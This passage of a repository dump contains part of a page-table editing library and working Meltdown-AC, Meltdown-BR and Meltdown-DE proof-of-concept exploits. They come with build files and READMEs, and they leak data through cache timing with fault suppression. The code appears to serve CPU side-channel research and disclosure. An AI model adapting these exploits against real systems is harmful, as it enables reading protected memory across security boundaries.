= ptedit_get_pagesize();\n#endif\n\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    ptedit_paging_definition.has_pgd = 1;\n    ptedit_paging_definition.has_p4d = 0;\n    ptedit_paging_definition.has_pud = 1;\n    ptedit_paging_definition.has_pmd = 1;\n    ptedit_paging_definition.has_pt = 1;\n    ptedit_paging_definition.pgd_entries = 9;\n    ptedit_paging_definition.p4d_entries = 0;\n    ptedit_paging_definition.pud_entries = 9;\n    ptedit_paging_definition.pmd_entries = 9;\n    ptedit_paging_definition.pt_entries = 9;\n    ptedit_paging_definition.page_offset = 12;\n#elif defined(__aarch64__)\n    ptedit_paging_definition.has_pgd = 1;\n    ptedit_paging_definition.has_p4d = 0;\n    ptedit_paging_definition.has_pud = 0;\n    ptedit_paging_definition.has_pmd = 1;\n    ptedit_paging_definition.has_pt = 1;\n    ptedit_paging_definition.pgd_entries = 9;\n    ptedit_paging_definition.p4d_entries = 0;\n    ptedit_paging_definition.pud_entries = 0;\n    ptedit_paging_definition.pmd_entries = 9;\n    ptedit_paging_definition.pt_entries = 9;\n    ptedit_paging_definition.page_offset = 12;\n#endif\n    return 0;\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_cleanup() {\n#if defined(LINUX)\n    if (ptedit_fd >= 0) {\n        close(ptedit_fd);\n    }\n    if (ptedit_umem > 0) {\n        close(ptedit_umem);\n    }\n#else\n    CloseHandle(ptedit_fd);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_use_implementation(int implementation) {\n    if (implementation == PTEDIT_IMPL_KERNEL) {\n#if defined(LINUX)\n        ptedit_resolve = ptedit_resolve_kernel;\n        ptedit_update = ptedit_update_kernel;\n#else\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: PTEditor implementation not supported on Windows\");\n#endif\n    }\n    else if (implementation == PTEDIT_IMPL_USER_PREAD) {\n        ptedit_resolve = ptedit_resolve_user;\n        ptedit_update = ptedit_update_user;\n        ptedit_paging_root = ptedit_get_paging_root(0);\n    }\n    else if (implementation == PTEDIT_IMPL_USER) {\n#if defined(LINUX)\n        ptedit_resolve = ptedit_resolve_user_map;\n        ptedit_update = ptedit_update_user_map;\n        ptedit_paging_root = ptedit_get_paging_root(0);\n        if (!ptedit_vmem) {\n            ptedit_vmem = (unsigned char*)mmap(NULL, 32ull << 30ull, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_NORESERVE, ptedit_umem, 0);\n            fprintf(stderr, PTEDIT_COLOR_GREEN \"[+]\" PTEDIT_COLOR_RESET \" Mapped physical memory to %p\\n\", ptedit_vmem);\n        }\n#else\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: PTEditor implementation not supported on Windows\");\n#endif\n    }\n    else {\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \" Error: PTEditor implementation not supported!\\n\");\n    }\n}\n\n\n// ---------------------------------------------------------------------------\nint ptedit_get_pagesize() {\n#if defined(LINUX)\n    return (int)ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAGESIZE, 0);\n#else\n    SYSTEM_INFO sysinfo;\n    GetSystemInfo(&sysinfo);\n    return sysinfo.dwPageSize;\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_read_physical_page(size_t pfn, char* buffer) {\n#if defined(LINUX)\n    if (ptedit_umem > 0) {\n        if (pread(ptedit_umem, buffer, ptedit_pagesize, pfn * ptedit_pagesize) == -1) {\n          return;\n        }\n    }\n    else {\n        ptedit_page_t page;\n        page.buffer = (unsigned char*)buffer;\n        page.pfn = pfn;\n        ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_READ_PAGE, (size_t)&page);\n    }\n#else\n    DWORD returnLength;\n    pfn *= ptedit_pagesize;\n    DeviceIoControl(ptedit_fd, PTEDITOR_READ_PAGE, (LPVOID)&pfn, sizeof(pfn), (LPVOID)buffer, 4096, &returnLength, 0);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_write_physical_page(size_t pfn, char* content) {\n#if defined(LINUX)\n    if (ptedit_umem > 0) {\n        if (pwrite(ptedit_umem, content, ptedit_pagesize, pfn * ptedit_pagesize) == -1) {\n          return;\n        }\n    }\n    else {\n        ptedit_page_t page;\n        page.buffer = (unsigned char*)content;\n        page.pfn = pfn;\n        ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_WRITE_PAGE, (size_t)&page);\n    }\n#else\n    DWORD returnLength;\n    ptedit_page_t page;\n    if (ptedit_pagesize != 4096) {\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: page sizes other than 4096 not supported on Windows\");\n        return;\n    }\n    page.paddr = pfn * ptedit_pagesize;\n    memcpy(page.content, content, ptedit_pagesize);\n    DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PAGE, (LPVOID)&page, sizeof(ptedit_page_t), (LPVOID)&page, sizeof(ptedit_page_t), &returnLength, 0);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_get_paging_root(pid_t pid) {\n#if defined(LINUX)\n    ptedit_paging_t cr3;\n    cr3.pid = (size_t)pid;\n    cr3.root = 0;\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_ROOT, (size_t)&cr3);\n    return cr3.root;\n#else\n    size_t cr3 = 0;\n    DWORD returnLength;\n    if(!pid) pid = GetCurrentProcessId();\n    DeviceIoControl(ptedit_fd, PTEDITOR_GET_CR3, (LPVOID)&pid, sizeof(pid), (LPVOID)&cr3, sizeof(cr3), &returnLength, 0);\n    return (cr3 & ~0xfff);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_set_paging_root(pid_t pid, size_t root) {\n    ptedit_paging_t cr3;\n    cr3.pid = (size_t)pid;\n    cr3.root = root; \n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_ROOT, (size_t)&cr3);\n#else\n    DWORD returnLength;\n    if (!pid) pid = GetCurrentProcessId();\n    size_t info[2];\n    info[0] = pid;\n    info[1] = root;\n    DeviceIoControl(ptedit_fd, PTEDITOR_SET_CR3, (LPVOID)info, sizeof(info), (LPVOID)info, sizeof(info), &returnLength, 0);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_invalidate_tlb(void* address) {\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_INVALIDATE_TLB, (size_t)address);\n#else\n    size_t vaddr = (size_t)address;\n    DWORD returnLength;\n    DeviceIoControl(ptedit_fd, PTEDITOR_FLUSH_TLB, (LPVOID)&vaddr, sizeof(vaddr), (LPVOID)&vaddr, sizeof(vaddr), &returnLength, 0);\n#endif\n}\n\n// ---------------------------------------------------------------------------\nint ptedit_switch_tlb_invalidation(int implementation) {\n#if defined(LINUX)\n    return (int) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION, (size_t) implementation);\n#else\n    NO_WINDOWS_SUPPORT\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_get_mts() {\n    size_t mt = 0;\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAT, (size_t)&mt);\n#else\n    DWORD returnLength;\n    DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mt, sizeof(mt), (LPVOID)&mt, sizeof(mt), &returnLength, 0);\n#endif\n    return mt;\n}\n\n\n// ---------------------------------------------------------------------------\nchar ptedit_get_mt(unsigned char mt) {\n    size_t mts = ptedit_get_mts();\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    return ((mts >> (mt * 8)) & 7);\n#elif defined(__aarch64__)\n    return ((mts >> (mt * 8)) & 0xff);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nconst char* ptedit_mt_to_string(unsigned char mt) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    const char* mts[] = { \"UC\", \"WC\", \"Rsvd\", \"Rsvd\", \"WT\", \"WP\", \"WB\", \"UC-\", \"Rsvd\" };\n    if (mt <= 7) return mts[mt];\n    return NULL;\n#elif defined(__aarch64__)\n    static char mts[16];\n    int i;\n    mts[0] = 0;\n    for (i = 0; i < 2; i++) {\n        strcat(mts, i == 0 ? \"I\" : \"O\");\n        if ((mt & 0xf) == ((mt >> 4) & 0xf)) strcpy(mts, \"\");\n        switch ((mt >> (i * 4)) & 0xf) {\n        case 0:\n            strcat(mts, \"DM\");\n            break;\n        case 1: /* Fall through */\n        case 2: /* Fall through */\n        case 3:\n            strcat(mts, \"WT\");\n            break;\n        case 4:\n            strcat(mts, \"UC\");\n            break;\n        case 5: /* Fall through */\n        case 6: /* Fall through */\n        case 7:\n            strcat(mts, \"WB\");\n            break;\n        case 8: /* Fall through */\n        case 9: /* Fall through */\n        case 10: /* Fall through */\n        case 11:\n            strcat(mts, \"WT\");\n            break;\n        case 12: /* Fall through */\n        case 13: /* Fall through */\n        case 14: /* Fall through */\n        case 15:\n            strcat(mts, \"WB\");\n        }\n    }\n    return mts;\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_set_mts(size_t mts) {\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_PAT, mts);\n#else\n    DWORD returnLength;\n    DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mts, sizeof(mts), (LPVOID)&mts, sizeof(mts), &returnLength, 0);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_set_mt(unsigned char mt, unsigned char value) {\n    size_t mts = ptedit_get_mts();\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    mts &= ~(7 << (mt * 8));\n#elif defined(__aarch64__)\n    mts &= ~(0xff << (mt * 8));\n#endif\n    mts |= ((size_t)value << (mt * 8));\n    ptedit_set_mts(mts);\n}\n\n\n// ---------------------------------------------------------------------------\nunsigned char ptedit_find_mt(unsigned char type) {\n    size_t mts = ptedit_get_mts();\n    unsigned char found = 0;\n    int i;\n    for (i = 0; i < 8; i++) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n        if (((mts >> (i * 8)) & 7) == type) found |= (1 << i);\n#elif defined(__aarch64__)\n        if (((mts >> (i * 8)) & 0xff) == type) {\n            found |= (1 << i);\n        }\n        else {\n            unsigned char plow, phigh;\n            plow = (mts >> (i * 8)) & 0xf;\n            phigh = ((mts >> (i * 8)) >> 4) & 0xf;\n            if ((plow == phigh) && (plow == type)) {\n                found |= (1 << i);\n            }\n        }\n#endif\n    }\n    return found;\n}\n\n\n// ---------------------------------------------------------------------------\nint ptedit_find_first_mt(unsigned char type) {\n#if defined(LINUX)\n    return __builtin_ffs(ptedit_find_mt(type)) - 1;\n#else\n    DWORD index = 0;\n    if (BitScanForward64(&index, ptedit_find_mt(type))) {\n        return index;\n    }\n    else {\n        return -1;\n    }\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_apply_mt(size_t entry, unsigned char mt) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    entry &= ~((1ull << PTEDIT_PAGE_BIT_PWT) | (1ull << PTEDIT_PAGE_BIT_PCD) | (1ull << PTEDIT_PAGE_BIT_PAT));\n    if (mt & 1) entry |= (1ull << PTEDIT_PAGE_BIT_PWT);\n    if (mt & 2) entry |= (1ull << PTEDIT_PAGE_BIT_PCD);\n    if (mt & 4) entry |= (1ull << PTEDIT_PAGE_BIT_PAT);\n#elif defined(__aarch64__)\n    entry &= ~0x1c;\n    entry |= (mt & 7) << 2;\n#endif\n    return entry;\n}\n\n// ---------------------------------------------------------------------------\nunsigned char ptedit_extract_mt(size_t entry) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    return (!!(entry & (1ull << PTEDIT_PAGE_BIT_PWT))) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PCD))) << 1) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PAT))) << 2);\n#elif defined(__aarch64__)\n    return (entry >> 2) & 7;\n#endif\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_full_serializing_barrier() {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n#if defined(LINUX)\n    asm volatile(\"mfence\\nlfence\\n\" ::: \"memory\");\n#else\n    MemoryBarrier();\n#endif\n#elif defined(__aarch64__)\n    asm volatile(\"DSB SY\");\n    asm volatile(\"DSB ISH\");\n    asm volatile(\"ISB\");\n#endif\n    ptedit_set_paging_root(0, ptedit_get_paging_root(0));\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n#if defined(LINUX)\n    asm volatile(\"mfence\\nlfence\\n\" ::: \"memory\");\n#else \n    MemoryBarrier();\n#endif\n#elif defined(__aarch64__)\n    asm volatile(\"ISB\");\n    asm volatile(\"DSB ISH\");\n    asm volatile(\"DSB SY\");\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_pte_set_bit(void* address, pid_t pid, int bit) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return;\n    vm.pte |= (1ull << bit);\n    vm.valid = PTEDIT_VALID_MASK_PTE;\n    ptedit_update(address, pid, &vm);\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_pte_clear_bit(void* address, pid_t pid, int bit) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return;\n    vm.pte &= ~(1ull << bit);\n    vm.valid = PTEDIT_VALID_MASK_PTE;\n    ptedit_update(address, pid, &vm);\n}\n\n// ---------------------------------------------------------------------------\nunsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    return !!(vm.pte & (1ull << bit));\n}\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_pte_get_pfn(void* address, pid_t pid) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return 0;\n    else return ptedit_get_pfn(vm.pte);\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return;\n    vm.pte = ptedit_set_pfn(vm.pte, pfn);\n    vm.valid = PTEDIT_VALID_MASK_PTE;\n    ptedit_update(address, pid, &vm);\n}\n"
  },
  {
    "path": "pocs/meltdown/AC/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -O3 -I../../\n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/meltdown/AC/README.md",
    "content": "# Meltdown-AC PoC\n\nThis folder contains a Meltdown-AC proof-of-concept implementation for x86_64.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version.\n\n## Run\n\nRun with `./poc_x86` for x86_64.\n\nIf the PoC is successfull the output is\n```\nS S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S S\n```\n\n## How it works\nIn this PoC, we first enable a char buffer via malloc (malloc always returns aligned memory) and increment by one. We then enable alignment checking by setting the corresponding bit in the EFLAGS register. To get an unaligned memory access, we access our incremented char buffer as an int pointer, causing it to be unaligned. We then try to encode the result in the cache. Exception suppression is done either via Intel TSX or segfault handling.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n"
  },
  {
    "path": "pocs/meltdown/AC/main.c",
    "content": "#define _GNU_SOURCE\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n\n#include \"libcache/cacheutils.h\"\n\n#define SUPPRESS_FAULT\t\t1\n#define SECRET 'S'\n\n#if defined(__i386__)\n  #define ENABLE_AC \t\t\t\t\t\\\n    __asm__(\"pushf\\norl $0x40000,(%esp)\\npopf\")\n  #define DISABLE_AC \t\t\t\t\t\\\n    __asm__(\"pushf\\nandl $~(0x40000),(%esp)\\npopf\")\n#else\n  #define ENABLE_AC \t\t\t\t\t\\\n    __asm__(\"pushf\\norl $0x40000,(%rsp)\\npopf\")\n  #define DISABLE_AC \t\t\t\t\t\\\n    __asm__(\"pushf\\nandl $~(0x40000),(%rsp)\\npopf\")\n#endif\n\nint main(void) {\n  char *buffer;\n  int  *p;\n  pagesize = sysconf(_SC_PAGESIZE);\n  mem = (char*) malloc(pagesize * 256);\n  memset(mem, 1, pagesize * 256);\n\n  /* https://en.wikipedia.org/wiki/Bus_error */\n  /* malloc() always provides aligned memory */\n  buffer = malloc(sizeof(int) + 1);\n  \n  /* Increment the pointer by one, making it misaligned */\n  buffer++;\n  *buffer = SECRET;\n  printf(\"buffer contains: %d\\n\", *buffer);\n  p = (int *) buffer;\n\n  // Determine cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  // Flush our shared memory\n  flush_shared_memory();\n\n  printf(\"Output legend:\\n\");\n  printf(\"  '0'.....Unaligned access sets register to 0\\n\");\n  printf(\"  '%c'.....Unaligned access leaks register value\\n\", '0' + *buffer);\n  \n  for(int r = 0; r < 1000000; r++) {\n    // Make sure data is in cache\n    maccess(buffer);\n    // Enable alignment checks\n#if !defined(__aarch64__)\n    ENABLE_AC;\n#endif\n  #if SUPPRESS_FAULT\n    if(try_start()) {\n  #endif\n      /* Dereference it as an int pointer, causing an unaligned access */\n      maccess(mem + ('0' + (*p)) * pagesize);\n  #if SUPPRESS_FAULT\n      try_abort();\n    }\n    try_end();\n  #endif\n    // Disable alignment checks\n#if !defined(__aarch64__)\n    DISABLE_AC;\n#endif\n\n    //Recover data from cache covert channel\n    for(int i = 0; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) % 256;\n      if(mix_i != 0 && flush_reload(mem + mix_i * pagesize)) {\n        printf(\"%c \", mix_i);\n        fflush(stdout);\n      }\n    }\n  }\n\n  printf(\"Meltdown-AC done!\\n\");\n\n  printf(\"buffer contains: %d\\n\", *(buffer));\n  free(mem);\n\n  return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "pocs/meltdown/BR/Makefile",
    "content": "ifndef MPX\n    MPX             = 1\nendif\n\nifndef TSX\n    TSX             = 0\nendif\n\nifndef LFENCE\n    LFENCE          = 0\nendif\n\nifeq ($(M32),1)\n    CFLAGS          += -m32 -DM32=1\nendif\n\nifeq ($(MPX),1)\n    CFLAGS          += -mmpx -fcheck-pointer-bounds\nendif\n\nCFLAGS              += -DLFENCE=$(LFENCE) -DUSE_TSX=$(TSX) -I../../\n\nall: x86\n\nx86: main_x86\n\nmain_x86: main.c\n\tgcc $(CFLAGS) main.c -o poc_x86\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/meltdown/BR/README.md",
    "content": "# Meltdown-BR PoC\n\nThis folder contains a Meltdown-BND and Meltdown-MPX proof-of-concept implementation for x86_64.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version.\n\n## Run\n\nRun with `./poc_x86` for x86_64.\n\nThe expected output is\n```\ndog[0] = 'a' (recovered 'a')\ndog[1] = 'b' (recovered 'b')\ndog[2] = 'c' (recovered 'c')\ndog[3] = 'x' (recovered 'x')\nPF 0: dog[4] = 'y' (recovered 'y')\n```\n\n## How it works\nIn our PoC, we map a piece of memory that we want to protect either the x86 bound instruction or via Intel MPX. After doing the setup for protecting the data, we access the data and encode it in the cache. We suppress the bound-range-exceeded exception either via Intel TSX or segfault handling.\n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_x86`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n"
  },
  {
    "path": "pocs/meltdown/BR/main.c",
    "content": "#define _GNU_SOURCE\n#include \"libcache/cacheutils.h\"\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n#include <signal.h>\n\nchar mem2[4096 * 256];\n\n#define DOG_STR     \"abcx\"\n#define PWD_STR     \"yyyy\"\n#define DOG_LEN     strlen(DOG_STR)\n#define PWD_LEN     strlen(PWD_STR)\n\n#define FR_START    'a'\n#define FR_END      'z'\n\n// Define the bounds for the dog\nstruct {\n    uint32_t low;\n    uint32_t high;\n} my_dog_bounds = {\n    .low = 0,\n    .high = DOG_LEN\n};\n\nchar *buffer;\nint idx = 0, fault = 0, fault_recovered = 0;\n\nvoid fault_handler(int no) {\n  int i;\n  fault_recovered = 0;\n  // Recover the data from the covert channel\n  for (i = FR_START; i < FR_END; i++) {\n    if (flush_reload(mem2 + i * 4096)) {\n    \tfault_recovered = i;\n      break;\n    }\n  }\n  printf(\"PF %d: dog[%d] = '%c' (recovered '%c')\\n\",\n\t    fault++, idx, buffer[idx], fault_recovered ? i : 'x');\n\n  /* resolve faulting BOUND to retry */\n  #if __MPX__\n    exit(0);\n  #else\n    my_dog_bounds.high += PWD_LEN;\n  #endif\n}\n\nint __attribute__((aligned(0x1000))) dummy;\n\nint main(void) {\n  int status, i;\n  char c = 'X';\n  \n  // Install signal handler\n  signal(SIGSEGV, fault_handler);\n  memset(mem2, 1, sizeof(mem2));\n\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  buffer = mmap(NULL, getpagesize(), PROT_READ | PROT_WRITE,\n                MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);\n\n  strcpy(buffer, DOG_STR PWD_STR);\n\n  // Flush our shared memory\n  for (i = 0; i < 256; i++) {\n    flush(mem2 + i * 4096);\n  }\n\n  for (idx = 0; idx < DOG_LEN + PWD_LEN; idx++) {\n    // Ensure data is in the cache\n    maccess(buffer);\n    unsigned status;\n\n    // Define the bounds for the dog\n    #if __MPX__\n      void *p = __bnd_set_ptr_bounds(buffer, DOG_LEN);\n    #else\n      my_dog_bounds.high = DOG_LEN;\n    #endif\n\n    // tsx begin\n    #if USE_TSX\n    asm volatile(\".byte 0xc7,0xf8,0x00,0x00,0x00,0x00\"\n                 : \"=a\"(status)\n                 : \"a\"(-1UL)\n                 : \"memory\");\n    if (status == (~0u)) {\n    #endif\n        /* high-latency access to prolong transient execution beyond fault */\n        maccess(&dummy);\n\n        /* explicit check to allow LFENCE insertion */\n        #if __MPX__\n            __bnd_chk_ptr_bounds(p, idx+1);\n        #else\n            asm(\"bound %0, (my_dog_bounds)\\n\\t\"\n                : : \"r\" (idx+1) : );\n        #endif\n\n        #if LFENCE\n            nospec();\n        #endif\n\n        // Illegal access to data\n        c = buffer[idx];\n        // Encode data in the cache\n        maccess(mem2 + c*4096);\n\n    // tsx end\n    #if USE_TSX\n        asm volatile(\".byte 0x0f; .byte 0x01; .byte 0xd5\" ::: \"memory\");\n    }\n    else {\n        c = 'X';\n        fault_recovered = 1;\n    }\n    #endif\n\n    // Recover data from the cache\n    for (i = FR_START; i < FR_END; i++) {\n      if (flush_reload(mem2 + i * 4096)) {\n        break;\n      }\n    }\n    flush(&dummy);\n\n    if((idx >= DOG_LEN) && !fault_recovered)\n      idx--;\n    else\n      printf(\"dog[%d] = '%c' (recovered '%c')\\n\", idx, c, i);\n  }\n\n  printf(\"Meltdown-BR done!\\n\");\n\n  return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "pocs/meltdown/DE/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -O3 -I../../\n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/meltdown/DE/README.md",
    "content": "# Meltdown-DE PoC\n\nThis folder contains a Meltdown-DE proof-of-concept implementation for x86_64 and ARMv8.\n\n## Compile\n\nCompile using `make x86` for the x86_64 version, or `make arm` for the ARMv8 version.\n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively.\n\nIf the PoC is successfull the output is\n```\nd d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d \n```\n\nThis indicates that the register is set to 0 and that Meltdown-DE does not work based on our PoC (we encourage testing other approaches).\n\n## How it works\nIn this PoC, we encode try to encode the result of a division by zero in the cache that we subsequently want to leak using Flush+Reload. We prevent the exception from being raised either via Intel TSX or segfault handling. \n\n## Troubleshooting\n\n* The output is garbage (mostly just (random letters))\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores.\n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\".\n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n"
  },
  {
    "path": "pocs/meltdown/DE/main.c",
    "content": "#define _GNU_SOURCE\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/mman.h>\n#include <sys/syscall.h>\n#include <unistd.h>\n\n#include \"libcache/cacheutils.h\"\n\nvolatile int d = 0;\n\nint main(void) {\n  pagesize = sysconf(_SC_PAGESIZE);\n  mem = (char*) malloc( pagesize * 256 );\n  memset(mem, 1, pagesize * 256);\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  // Flush our shared memory\n  flush_shared_memory();\n\n  printf(\"Output legend:\\n\");\n  printf(\"  '3'.....Division sets register to 0\\n\");\n  printf(\"  'd'.....Division does not change register\\n\\n\");\n  \n  for(int r = 0; r < 1000000; r++) {\n    if(try_start()) {\n      // Null pointer access makes attack better\n      maccess(0);\n      // Encode result of division in the cache\n      maccess(mem + ('1' / d + '3') * 4096);\n      \n      try_abort();\n    }\n    try_end();\n\n    // Recover data from the cache\n    for(int i = 0; i < 256; i++) {\n      int mix_i = ((i * 167) + 13) % 256;\n      if(flush_reload(mem + mix_i * pagesize)) {\n        printf(\"%c \", mix_i);\n        fflush(stdout);\n      }\n    }\n    sched_yield();\n  }\n\n  printf(\"Meltdown-DE done!\\n\");\n  free(mem);\n\n  return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "pocs/meltdown/GP/Makefile",
